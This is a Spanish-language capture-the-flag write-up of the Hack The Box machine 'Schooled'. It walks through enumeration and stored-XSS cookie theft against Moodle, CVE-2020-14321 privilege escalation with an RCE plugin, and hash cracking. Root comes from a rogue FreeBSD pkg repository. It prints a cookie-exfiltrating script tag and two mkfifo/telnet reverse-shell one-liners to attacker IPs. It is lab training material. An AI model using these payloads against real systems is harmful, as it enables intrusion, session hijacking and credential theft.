This page looks best with JavaScript enabled

Hack The Box - Schooled

 •  ✍️ sckull

Schooled presenta una version de Moodle con una vulnerabilidad que permite escalar privilegios y además obtener acceso a la maquina tras la instalacion de un plugin. Creamos un repositorio utilizando PKG y un paquete para ejecutar comandos lo que nos dio acceso privilegiado.

Nombre Schooled box_img_maker
OS

FreeBSD

Puntos 30
Dificultad Media
IP 10.10.10.234
Maker

TheCyberGeek

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.5, 6.8, 6, 4, 3.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[8, 8, 8, 2, 2],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Enum

Nmap

Escaneo de puertos con nmap nos muestra el puerto http (80), ssh (22) y el puerto mysql (33060) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Nmap 7.91 scan initiated Wed Apr  7 02:04:59 2021 as: nmap -p- --min-rate 10000 -oN allports 10.129.95.59
Warning: 10.129.95.59 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.95.59 (10.129.95.59)
Host is up (0.093s latency).
Not shown: 48317 filtered ports, 17215 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
33060/tcp open  mysqlx

# Nmap done at Wed Apr  7 02:06:44 2021 -- 1 IP address (1 host up) scanned in 104.58 seconds
# Nmap 7.91 scan initiated Wed Apr  7 02:07:13 2021 as: nmap -p 22,80,33060 -sV -sC -oN serviceports 10.129.95.59
Nmap scan report for 10.129.95.59 (10.129.95.59)
Host is up (0.084s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr  7 02:07:33 2021 -- 1 IP address (1 host up) scanned in 20.34 seconds

Web

Encontramos una pagina estatica en el puerto 80, logramos ver el dominio schooled.htb en el footer de la pagina el cual agregamos a /etc/hosts.
image

Gobuster

Utilizamos gobuster para busqueda de directorios y archivos, pero solo encontramos las direcciones que se muestran en la pagina.

1
2
3
4
5
6
7
8
# gobuster dir -u http://schooled.htb/ -w directory-list-2.3-medium.txt -x php,html,txt,yaml,bak -q -t 50
/images (Status: 301)
/contact.html (Status: 200)
/about.html (Status: 200)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/teachers.html (Status: 200)

Vemos en la pagina /teachers.html varios nombres y apellidos, lo cual podria servir para crear un diccionario de usuarios y/o contraseñas.
image

Tambien encontramos informacion importante, mencionan que proveen educacion online en la plataforma Moodle, pero, no encontramos ninguna direccion a moodle con gobuster.
image

Wfuzz - Subdominios

Utilizamos wfuzz para verificar si existe algun subdominio, vemos que existe moodle.schooled.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/htb/schooled]
└─$ wfuzz -w /usr/share/wordlists/dirb/common.txt -H "Host: FUZZ.schooled.htb" --hh 20750 --hc 400 -t 100 10.129.95.59
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.95.59/
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000002576:   200        1 L      5 W        84 Ch       "moodle"

Total time: 0
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 0

MOODLE

Encontramos la plataforma moodle en moodel.schooled.htb.
image

Al intentar registrarnos salto un error en el correo electronico y mostró un “nuevo” subdominio: student.schooled.htb, el cual enumeramos con gobuster pero no encontramos nada interesante. Utilizamos student.schooled.htb como dominio en nuestro correo electronico.
image

Tras el registro ingresamos a la plataforma y encontramos 4 cursos con el nombre de quienes los imparten, solo en el curso de Mathematics tenemos permiso de ingresar, tras ingresar al curso logramos obtener informacion del profesor Manuel Phillips, quien tiene el correo phillips_manuel@staff.schooled.htb y rol de Teacher. Además una larga lista de estudiantes quienes estan inscritos en este curso.

1
2
3
4
Manuel Phillips, phillips_manuel@staff.schooled.htb, Teacher
Jamie Borham
Jane Higgins
Lianne Carter

Tambien encontramos dos anuncios, en el primero indica Jamie Borham la fecha de inicio de clases.

1
2
3
Jamie Borham:

We will commence studies on 7th January 2021. Please be aware that lectures will be delivered online on a week by week basis and content will be released on the day of study.

En el segundo anuncio menciona que los estudiantes del curso de Phillips deben de tener configurado en su perfil la opcion de MoodleNet, y menciona que estará verificando esta configuracion en el perfil de los estudiantes.

1
2
3
4
5
Manuel Phillips:

This is a self enrollment course. For students who wish to attend my lectures be sure that you have your MoodleNet profile set.
Students who do not set their MoodleNet profiles will be  removed from the course before the course is due to start and I will be checking all students who are enrolled on this course.
Look forward to seeing you all soon.

CSRF

Editamos el campo MoodleNet con etiquetas HTML y codigo javascript para mostrar una alerta, la cual se muestra al visitar nuestro perfil.
image

Editamos nuevamente ahora con la etiqueta <script src="http://10.10.14.10/a"></script> apuntando hacia un archivo de nuestra maquina.
image

Creamos un miniservidor, despues unos minutos logramos obtener una solicitud de dicho archivo, ya que, probablemente Phillips visitó nuestro perfil.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/htb/schooled]
└─$ ifconfig tun0 |grep inet && sudo python3 -m http.server 80
        inet 10.10.14.10  netmask 255.255.254.0  destination 10.10.14.10
        inet6 dead:beef:2::1008  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::515:84c7:6091:42f6  prefixlen 64  scopeid 0x20<link>
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.10 - - [07/Apr/2021 05:09:15] code 404, message File not found
10.10.14.10 - - [07/Apr/2021 05:09:15] "GET /a HTTP/1.1" 404 -
10.10.14.10 - - [07/Apr/2021 05:09:15] code 404, message File not found
10.10.14.10 - - [07/Apr/2021 05:09:15] "GET /a HTTP/1.1" 404 -
10.10.14.10 - - [07/Apr/2021 05:09:18] code 404, message File not found
10.10.14.10 - - [07/Apr/2021 05:09:18] "GET /a HTTP/1.1" 404 -
10.129.95.59 - - [07/Apr/2021 05:11:39] code 404, message File not found  <---
10.129.95.59 - - [07/Apr/2021 05:11:39] "GET /a HTTP/1.1" 404 -       <---
10.129.95.59 - - [07/Apr/2021 05:11:40] code 404, message File not found  <---
10.129.95.59 - - [07/Apr/2021 05:11:40] "GET /a HTTP/1.1" 404 -       <---

Sabemos que Phillips visita nuestro perfil cada cierto tiempo, por lo que podriamos realizar un ataque CSRF utilizando javascript. Editamos nuestro perfil nuevamente, esta vez con codigo que nos envie el valor de su cookie.

1
<script>document.write('<img src="http://10.10.14.10/a?cookie=' + document.cookie + '" />')</script>

Luego de varios segundos obtuvimos una peticion con el valor de una cookie.

1
2
3
4
10.10.14.10 - - [07/Apr/2021 05:27:16] code 404, message File not found
10.10.14.10 - - [07/Apr/2021 05:27:16] "GET /a?cookie=TinyMCE_toggle=id_description_editor%3D0;%20MoodleSession=d8p8jermnc90vr0vt6ce15v8ka HTTP/1.1" 404 -
10.129.95.59 - - [07/Apr/2021 05:28:13] code 404, message File not found
10.129.95.59 - - [07/Apr/2021 05:28:13] "GET /a?cookie=MoodleSession=cb7sn364b42d0qe1eercuuickd HTTP/1.1" 404 -   <---- COOKIE

Phillips Account

Reemplazamos la cookie actual utilizando Firefox (F12), con lo cual logramos acceder a la cuenta de Phillips.
image

MOODLE - RCE

Al tener acceso a la cuenta de Phillips tenemos permisos de administrar el curso de Matematicas, al entrar observamos en el footer una direccion externa a la documentacion de Moodle en su version 3.9 por lo que ahora podriamos realizar una busqueda de vulnerabilidades con esta version.
image

Encontramos un video demostrativo de como escalar privilegios desde el rol Teacher para poder ejecutar comandos mendiante la instalacion de un plugin.

  • (CVE-2020-14321)

Manager

Verificamos el ID de nuestro usuario que registramos en la url visitando nuestro perfil.

1
http://moodle.schooled.htb/moodle/user/profile.php?id=[ID]

Dentro del curso de Matematicas agregamos un usuario cualquiera, podria ser alguno que tenga la extension staff.schooled.htb tomando en cuenta que uno de estos usuarios tiene el rol de Administrador, tambien capturamos la solicitud la cual se va a modificar utilizando burpsuite, en la solicitud modificamos las “variables”: userlist[]=24 y &roletoassign=5. La primera pertenece al usuario a agregar, en este caso vamos a agregar el nuestro el Id de Philips y la segunda pertenece al rol (manager) que se le va a asignar al usuario el cual modificamos a 1.

1
2
3
4
GET /moodle/enrol/manual/ajax.php?mform_showmore_main=0&id=5&action=enrol&enrolid=10&sesskey=TFFRjCD1t7&_qf__enrol_manual_enrol_users_form=1&mform_showmore_id_main=0&userlist%5B%5D=24&roletoassign=1&startdate=4&duration= HTTP/1.1
Host: moodle.schooled.htb

[... REDACTED ...]

Tras modificar y enviar la solicitud deberiamos de ver en la lista de usuarios del curso nuestro rol como Manager.

Manager > Admin

Al filtrar los usuarios por la extension del staff, vemos que Lianne Carter tiene el rol de Manager.
image

Verificamos este ultimo usuario y nos logeamos con la opcion Log in as.
image

Logramos obtener acceso yy vemos que este usuario tiene acceso al area de administracion.
image

Plugin > RCE

Modificamos la solicitud de Users > Permissions > Define Roles > Manager > Edit > Save Changes utilizando el payload para dar todos los permisos a este usuario y asi tener acceso a la seccion de plugins.

1
2
3
4
5
6
POST /moodle/admin/roles/define.php?action=edit&roleid=1 HTTP/1.1
Host: moodle.schooled.htb

[ ... REDACTED ... ]

sesskey=jLH3lQNtzo [... PAYLOAD ... ]

Ahora con todos los permisos logramos obtener acceso a la seccion de plugins donde instalamos el plugin para ejecucion de comandos.
image

Ahora nos dirigimos a la direccion /moodle/blocks/rce/lang/en/block_rce.php?cmd=id donde logramos ejecutar comandos en la maquina.

1
2
3
4
5
6
┌──(kali㉿kali)-[~/htb/schooled/tmp]
└─$ curl -s "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id;whoami;pwd;uname%20-a"
uid=80(www) gid=80(www) groups=80(www)
www
/usr/local/www/apache24/data/moodle/blocks/rce/lang/en
FreeBSD Schooled 13.0-BETA3 FreeBSD 13.0-BETA3 #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021     root@releng1.nyi.freebsd.org:/usr/obj/usr/src/amd64.amd64/sys/GENERIC  amd64

www - User

Utilizamos una shell inversa para FreeBSD para obtener una shell con el usuario www.

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet 172.18.0.2 8080 > /tmp/f
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/htb/schooled]
└─$ nc -l -p 1338
id
uid=80(www) gid=80(www) groups=80(www)
whoami;pwd
www
/usr/local/www/apache24/data/moodle/blocks/rce/lang/en

MySQL - Moodle DB

Realizamos una enumeracion a los archivos de configuracion de moodle y encontramos las credenciales para la base de datos en mysql.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwd
/usr/local/www/apache24/data/moodle/

cat config.php 
<?php  // Moodle configuration file

unset($CFG);
global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',
);

$CFG->wwwroot   = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot  = '/usr/local/www/apache24/moodledata';
$CFG->admin     = 'admin';

$CFG->directorypermissions = 0777;

require_once(__DIR__ . '/lib/setup.php');

// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!

which mysql
find / -name mysql 2>/dev/null
/usr/local/bin/mysql
/usr/local/share/bash-completion/completions/mysql
/usr/local/share/mysql
/usr/local/include/mysql
/usr/local/include/mysql/mysql
/usr/local/etc/mysql
/usr/local/lib/mysql
/var/mail/mysql
/var/db/mysql
/var/db/mysql/mysql

Enumeramos la base de datos de Moodle y encontramos las contraseñas encriptadas de los usuarios del staff.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/usr/local/bin/mysql -u moodle -p'PlaybookMaster2020' -e "show databases;"
Database
information_schema
moodle          
/usr/local/bin/mysql -u moodle -p'PlaybookMaster2020' -e "use moodle; show tables;"
Tables_in_moodle
mdl_analytics_indicator_calc
mdl_analytics_models

[ ... REDACTED ... ]

mdl_url
mdl_user
mdl_user_devices
mdl_user_enrolments
mdl_user_info_category
mdl_user_info_data
mdl_user_info_field
mdl_user_lastaccess
mdl_user_password_history
mdl_user_password_resets
mdl_user_preferences
mdl_user_private_key

[ ... REDACTED ... ]

/usr/local/bin/mysql -u moodle -p'PlaybookMaster2020' -e "use moodle; select id,username,password,email from mdl_user where email like '%staff.schooled.htb';"
id      username        password        email
2       admin   $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW    jamie@staff.schooled.htb
23      higgins_jane    $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2    higgins_jane@staff.schooled.htb
24      phillips_manuel $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG    phillips_manuel@staff.schooled.htb
25      carter_lianne   $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe    carter_lianne@staff.schooled.htb

Jamie - User

Verificamos los usuarios registrados en la maquina, y encontramos a jamie a quien le pusimos más prioridad para crackear el hash.

1
2
3
cat /etc/passwd | grep home
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh
steve:*:1002:1002:User &:/home/steve:/bin/csh

Password Cracking

Tras ejecutar John con el wordlist rockyou encontramos su contraseña.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌──(kali㉿kali)-[~/htb/schooled]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_mysql_moodl
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx         (?)
1g 0:00:02:49 DONE (2021-04-08 04:19) 0.005903g/s 82.04p/s 82.04c/s 82.04C/s 110689..superpet
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Utilizamos la contraseña encontrada con el usuario jamie en el servicio SSH para obtener una shell y nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/htb/schooled]
└─$ ssh jamie@schooled.htb # !QAZ2wsx
Password for jamie@Schooled:
Last login: Tue Mar 16 14:44:53 2021 from 10.10.14.5
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021

[ ...  REDACTED ... ]

# zfs allow -u receiver compression,mountpoint,mount,create,receive rxpool

                -- Benedict Reuschling <bcr@FreeBSD.org>
jamie@Schooled:~ $ whoami;id;pwd
jamie
uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)
/home/jamie
jamie@Schooled:~ $ cat user.txt | cut -c1-15
ecf7c6d61bfc9c8
jamie@Schooled:~ $

PrivEsc

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el comando pkg update y pkg install *. Verificamos la configuracion de pkg y vemos que el repositorio está en devops.htb, intentamos crear un archivo de configuracion alternativo pero no tenemos permisos suficientes. La direccion IP de devops.htb es local.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
amie@Schooled:~ $ sudo -l -l
User jamie may run the following commands on Schooled:

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
        /usr/sbin/pkg update

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
        /usr/sbin/pkg install *
jamie@Schooled:~ $ cat /etc/pkg/FreeBSD.conf
# $FreeBSD$
#
# To disable this repository, instead of modifying or removing this file,
# create a /usr/local/etc/pkg/repos/FreeBSD.conf file:
#
#   mkdir -p /usr/local/etc/pkg/repos
#   echo "FreeBSD: { enabled: no }" > /usr/local/etc/pkg/repos/FreeBSD.conf
#

FreeBSD: {
  url: "pkg+http://devops.htb:80/packages",
  mirror_type: "srv",
  signature_type: "none",
  fingerprints: "/usr/share/keys/pkg",
  enabled: yes
}
jamie@Schooled:~ $ mkdir -p /usr/local/etc/pkg/repos
mkdir: /usr/local/etc/pkg: Permission denied
jamie@Schooled:~ $ cat /etc/hosts|grep devops.htb
192.168.1.14            devops.htb
jamie@Schooled:~ $

Despues de dar algunas vueltas verificamos los permisos del archivo /etc/hosts y observamos que el grupo wheel al que jamie pertenece tiene permisos sobre este archivo, por lo que podemos modificar la direccion IP del repositorio.

1
2
3
jamie@Schooled:~ $ ls -ld /etc/hosts
-rw-rw-r--  1 root  wheel  1098 Mar 17 15:47 /etc/hosts
jamie@Schooled:~ $

PKG - Repo

Bash Package

Iniciamos ejecutando pkg create -a lo cual obtendra todos los paquetes instalados dentro de la maquina, obtenemos el archivo bash (podria ser otro) y cancelamos el proceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
jamie@Schooled:~ $ mkdir packages
jamie@Schooled:~ $ cd packages/
jamie@Schooled:~/packages $ pkg create -a
Loading the package list...
Creating package for adwaita-icon-theme-3.38.0

[... REDACTED ...]

Creating package for bash-5.1.4
Creating package for bash-completion-2.11,2
Creating package for ca_root_nss-3.58
Creating package for cairo-1.16.0_1,3
^C
jamie@Schooled:~/packages $

Una vez con el archivo target, extraemos el contenido de bash-5.1.4.txz y se crearan dos archivos y una carpeta, finalmente eliminamos o movemos el archivo bash-5.1.4.txz.

1
2
3
4
5
6
7
8
jamie@Schooled:~/packages $ mv bash-5.1.4.txz ../
jamie@Schooled:~/packages $ rm *
jamie@Schooled:~/packages $ mv ../bash-5.1.4.txz .
jamie@Schooled:~/packages $ tar -xJf bash-5.1.4.txz
tar: Removing leading '/' from member names
jamie@Schooled:~/packages $ ls
+COMPACT_MANIFEST       +MANIFEST               bash-5.1.4.txz          usr
jamie@Schooled:~/packages $ rm bash-5.1.4.txz

Pre-script

Dentro del archivo +MANIFEST es posible agregar comandos cuando un paquete es instalado utilizando el objeto scripts dentro de este, basados de la informacion de un ejemplo, agregamos pre-scripts al archivo con un comando de prueba obteniendo la flag root.txt.

1
2
3
4
"scripts": {
    "pre-install": "cat /root/root.txt > /home/jamie/root.txt",
     ... , ...
  }

Además de ello modificamos la version al inicio de los archivos +MANIFEST y +COMPACT_MANIFEST a una más alta o reciente.

- "version":"5.1.4"
+ "version":"6.1.4"

Luego de esto creamos un nuevo archivo con todos los archivos y carpetas con el nombre bash-6.1.4.txz.

1
2
3
4
5
6
7
8
9
jamie@Schooled:~/packages $ tar cJf bash-6.1.4.txz *
jamie@Schooled:~/packages $ ls
+COMPACT_MANIFEST       +MANIFEST               bash-6.1.4.txz          usr
jamie@Schooled:~/packages $ mkdir tmp
jamie@Schooled:~/packages $ mv bash-6.1.4.txz tmp
jamie@Schooled:~/packages $ cd tmp/
jamie@Schooled:~/packages/tmp $ ls
bash-6.1.4.txz
jamie@Schooled:~/packages/tmp $

Repo Files

Ejecutamos pkg repo . para crear todos los archivos necesarios para un repositorio con informacion de los paquetes dentro del directorio actual en este caso solo el paquete bash que contiene el comando ingresado.

1
2
3
4
5
6
7
8
jamie@Schooled:~/packages/tmp $ ls
bash-6.1.4.txz
jamie@Schooled:~/packages/tmp $ pkg repo .
Creating repository in .: 100%
Packing files for repository: 100%
jamie@Schooled:~/packages/tmp $ ls 
bash-6.1.4.txz  meta.conf       meta.txz        packagesite.txz
jamie@Schooled:~/packages/tmp $

Comprimimos la carpeta completa y la enviamos con netcat hacia nuestra maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
jamie@Schooled:~/packages/tmp $ cd ..
jamie@Schooled:~/packages $ ls 
+COMPACT_MANIFEST       +MANIFEST               tmp                     usr
jamie@Schooled:~/packages $ tar -zcvf a.tar.gz tmp/
a tmp
a tmp/meta.txz
a tmp/packagesite.txz
a tmp/bash-6.1.4.txz
a tmp/meta.conf
jamie@Schooled:~/packages $ ls a.tar.gz 
a.tar.gz
jamie@Schooled:~/packages $ 

Repo Server

En nuestra maquina descomprimimos los archivos y creamos un mini servidor con python. Hay que mencionar que la carpeta con la informacion del repositorio debe llevar el nombre de packages.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
╭─kali@kali ~/htb/schooled/repo2  
╰─➤  ls
a.tar.gz
╭─kali@kali ~/htb/schooled/repo2  
╰─➤  tar -xvf a.tar.gz
tmp/
tmp/meta.txz
tar: tmp/meta.txz: time stamp 2021-04-09 06:05:48 is 53.360748238 s in the future
tmp/packagesite.txz
tar: tmp/packagesite.txz: time stamp 2021-04-09 06:05:48 is 53.360611328 s in the future
tmp/bash-6.1.4.txz
tar: tmp/bash-6.1.4.txz: time stamp 2021-04-09 06:05:09 is 14.353302812 s in the future
tmp/meta.conf
tar: tmp/meta.conf: time stamp 2021-04-09 06:05:48 is 53.353078807 s in the future
tar: tmp: time stamp 2021-04-09 06:05:48 is 53.353037336 s in the future
╭─kali@kali ~/htb/schooled/repo2  
╰─➤  ls
a.tar.gz  tmp
╭─kali@kali ~/htb/schooled/repo2  
╰─➤  mv tmp packages
╭─kali@kali ~/htb/schooled/repo2  
╰─➤  sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Devops.htb

En la maquina (schooled) editamos el archivo /etc/hosts agregando nuestra direccion IP al dominio devops.htb.

1
2
3
jamie@Schooled:~/packages $ cat /etc/hosts|grep devops
10.10.14.145            devops.htb
jamie@Schooled:~/packages $

Install pkg > root.txt

Finalmente ejecutamos pkg update y pkg install bash, este ultimo comando ejecutará cat /root/root.txt > /home/jamie/root.txt por lo que podremos leer nuestra flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
jamie@Schooled:~/packages $ sudo pkg update
Updating FreeBSD repository catalogue...
Fetching meta.conf: 100%    163 B   0.2kB/s    00:01    
Fetching packagesite.txz: 100%    932 B   0.9kB/s    00:01    
Processing entries: 100%
FreeBSD repository update completed. 1 packages processed.
All repositories are up to date.
jamie@Schooled:~/packages $ sudo pkg install bash
Updating FreeBSD repository catalogue...
FreeBSD repository is up to date.
All repositories are up to date.
The following 1 package(s) will be affected (of 0 checked):

Installed packages to be UPGRADED:
        bash: 5.1.4 -> 7.1.4

Number of packages to be upgraded: 1

1 MiB to be downloaded.

Proceed with this action? [y/N]: y
[1/1] Fetching bash-6.1.4.txz: 100%    1 MiB 127.4kB/s    00:12    
Checking integrity... done (0 conflicting)
[1/1] Upgrading bash from 5.1.4 to 7.1.4...
pkg: duplicate annotation: binary, ignoring
[1/1] Extracting bash-7.1.4:   0%
pkg: Directory //usr not specified in the manifest, skipping
pkg: Directory //usr/local not specified in the manifest, skipping
pkg: Directory //usr/local/man not specified in the manifest, skipping
pkg: Directory //usr/local/share not specified in the manifest, skipping
pkg: Directory //usr/local/libdata not specified in the manifest, skipping
pkg: Directory //usr/local/lib not specified in the manifest, skipping
pkg: Directory //usr/local/include not specified in the manifest, skipping
pkg: Directory //usr/local/bin not specified in the manifest, skipping
pkg: File //usr/local/bin/bashbug not specified in the manifest
[1/1] Extracting bash-7.1.4: 100%
jamie@Schooled:~/packages $
jamie@Schooled:~ $ ls -lah /home/jamie/root.txt 
-rw-r--r--  1 root  jamie    33B Apr  9 10:18 /home/jamie/root.txt
jamie@Schooled:~ $ cat root.txt | cut -c1-15
269e8ad27983a7b
jamie@Schooled:~ $

Shell - Root

Utilizamos el mismo procedimiento para crear un nuevo paquete y repositorio, los cambios fueron en +MANIFEST donde agregamos una shell inversa y una version mayor a la ya instalada, este ultimo se agrego en +COMPACT_MANIFEST.

1
2
3
4
"scripts": {
    "pre-install": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i |telnet 10.10.14.145 1339 > /tmp/f",
     ... , ...
  }

Tras instalar el paquete logramos obtener una shell como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
╭─kali@kali ~/htb/schooled/repo2/packages  
╰─➤  rlwrap nc -lvvp 1339
listening on [any] 1339 ...
connect to [10.10.14.145] from schooled.htb [10.10.10.234] 13002
whoami;id;pwd
root
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
/usr/home/jamie/packages
cd /root
ls
.cache
.cshrc
.history
.k5login
.lesshst
.login
.profile
.shrc
.ssh
root.txt
scripts
cat root.txt | cut -c1-15
269e8ad27983a7b
cat /home/jamie/user.txt | cut -c1-15
ecf7c6d61bfc9c8

LINKS ÙTILES

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe